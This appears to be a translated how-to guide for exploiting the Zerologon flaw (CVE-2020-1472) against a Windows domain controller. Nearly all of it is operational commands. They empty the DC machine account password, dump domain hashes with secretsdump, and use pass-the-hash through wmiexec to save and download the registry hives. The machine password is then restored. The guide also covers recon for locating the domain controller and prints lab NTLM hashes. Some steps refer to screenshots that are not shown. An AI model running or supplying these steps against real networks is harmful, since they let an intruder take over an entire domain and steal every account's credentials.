cve-2020-1472

@toc

Vulnerability Principle

The principle is relatively complex. If interested, you can check the article at the following link: https://www.freebuf.com/articles/system/249860.html

Exploitation

1. Modify the file impacket.dcerpc.v5.nrpc

Need to use the https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py file to replace the local nrpc file. The local nrpc file storage path is: C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py

2. Set the machine account yukong$ password to empty

python cve-2020-1472-exploit.py machine_account_name ip

And it is found that the password of the machine account has been set to empty. 31dc... represents an empty password.

Methods to obtain the target machine account or NetBIOS name:

1. net view Append $ to this server name to get the machine name, e.g., lisi$ or yukong$.

2. nbtstat -A ip There are many ways to determine the IP of the domain controller, for example:
3. Check hosts with port 53 open
4. net time will return the host name of the domain controller, then ping it
5. Check the domain value in systeminfo, ping it to get the domain controller IP
6. Check your own host's DNS

3. Read the administrator password

python secretsdump.py test.com/[email protected] -no-pass It is found that you can use the machine account with an empty password to read the user hash on the domain controller.

4. Download the target's sam file in preparation for restoring the machine password

python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected] reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save

get system.save get sam.save get security.save

del /f system.save del /f sam.save del /f security.save

exit

After execution, the downloaded files can be found in the folder where the wmiexec script is located:

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/[email protected] -use-vss This command failed

5. Crack the sam file to view the old machine password

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL Save the password in the red circle, which is the old machine password, i.e., aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a.

6. Restore the yukong$ machine account password

python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a

7. Check if the password has been successfully restored

python secretsdump.py test.com/administrator:[email protected] -just-dc-user yukong$ python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/[email protected] -just-dc-user yukong$ The restoration is found to be successful.